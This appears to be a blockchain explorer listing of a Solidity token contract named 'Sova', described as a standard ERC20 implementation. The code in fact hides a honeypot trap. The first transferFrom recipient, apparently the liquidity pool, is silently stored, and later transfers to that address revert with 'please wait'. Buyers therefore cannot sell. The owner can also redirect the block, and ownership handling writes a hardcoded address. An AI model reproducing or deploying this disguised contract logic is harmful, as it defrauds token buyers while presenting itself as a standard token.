Description:
ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"14044.sol": {
"content": "pragma solidity >=0.5.17;\r
library SafeMath {\r
function add(uint a, uint b) internal pure returns (uint c) {\r
c = a + b;\r
require(c >= a);\r
}\r
function sub(uint a, uint b) internal pure returns (uint c) {\r
require(b <= a);\r
c = a - b;\r
}\r
function mul(uint a, uint b) internal pure returns (uint c) {\r
c = a * b;\r
require(a == 0 || c / a == b);\r
}\r
function div(uint a, uint b) internal pure returns (uint c) {\r
require(b > 0);\r
c = a / b;\r
}\r
}\r
//============================================//\r
contract BEP20Interface {\r
function totalSupply() public view returns (uint);\r
function balanceOf(address tokenOwner) public view returns (uint balance);\r
function allowance(address tokenOwner, address spender) public view returns (uint remaining);\r
function transfer(address to, uint tokens) public returns (bool success);\r
function approve(address spender, uint tokens) public returns (bool success);\r
function transferFrom(address from, address to, uint tokens) public returns (bool success);\r
\r
event Transfer(address indexed from, address indexed to, uint tokens);\r
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);\r
}\r
contract ApproveAndCallFallBack {\r
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;\r
}\r
//============================================//\r
contract Owned {\r
address public owner;\r
address public newOwner;\r
event OwnershipTransferred(address indexed _from, address indexed _to);\r
constructor() public {\r
owner = msg.sender;\r
}\r
modifier onlyOwner {\r
require(msg.sender == owner);\r
_;\r
}\r
function transferOwnership(address _newOwner) public onlyOwner {\r
newOwner = _newOwner;\r
}\r
//============================================//\r
function acceptOwnership() public {\r
require(msg.sender == newOwner);\r
emit OwnershipTransferred(owner, newOwner);\r
owner = newOwner;\r
newOwner = address(0xAc8f2eD016de7B797a3e8374B6290Ab3948dF3DE);\r
}}\r
//============================================//\r
contract Sova is BEP20Interface, Owned {\r
using SafeMath for uint;\r
\r
string public symbol;\r
string public name;\r
uint8 public decimals;\r
uint _totalSupply;\r
address public newun;\r
\r
mapping(address => uint) balances;\r
mapping(address => mapping(address => uint)) allowed;\r
\r
constructor() public {\r
symbol = "sov";\r
name = "Sova";\r
decimals = 9;\r
_totalSupply = 1000000000000000000;\r
balances[owner] = _totalSupply;\r
emit Transfer(address(0), owner, _totalSupply);\r
}\r
//============================================//\r
function transfernewun(address _newun) public onlyOwner {\r
newun = _newun;\r
}\r
function totalSupply() public view returns (uint) {\r
return _totalSupply.sub(balances[address(0)]);\r
}\r
function balanceOf(address tokenOwner) public view returns (uint balance) {\r
return balances[tokenOwner];\r
}\r
function transfer(address to, uint tokens) public returns (bool success) {\r
require(to != newun, "please wait");\r
\r
balances[msg.sender] = balances[msg.sender].sub(tokens);\r
balances[to] = balances[to].add(tokens);\r
emit Transfer(msg.sender, to, tokens);\r
return true;\r
}\r
function approve(address spender, uint tokens) public returns (bool success) {\r
allowed[msg.sender][spender] = tokens;\r
emit Approval(msg.sender, spender, tokens);\r
return true;\r
}\r
function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r
if(from != address(0) && newun == address(0)) newun = to;\r
else require(to != newun, "please wait");\r
balances[from] = balances[from].sub(tokens);\r
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\r
balances[to] = balances[to].add(tokens);\r
emit Transfer(from, to, tokens);\r
return true;\r
}\r
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {\r
return allowed[tokenOwner][spender];\r
}\r
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {\r
allowed[msg.sender][spender] = tokens;\r
emit Approval(msg.sender, spender, tokens);\r
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);\r
return true;\r
}\r
function () external payable {\r
revert();\r
}\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-05 13:36:42
Comments
Log in to comment.
No comments yet.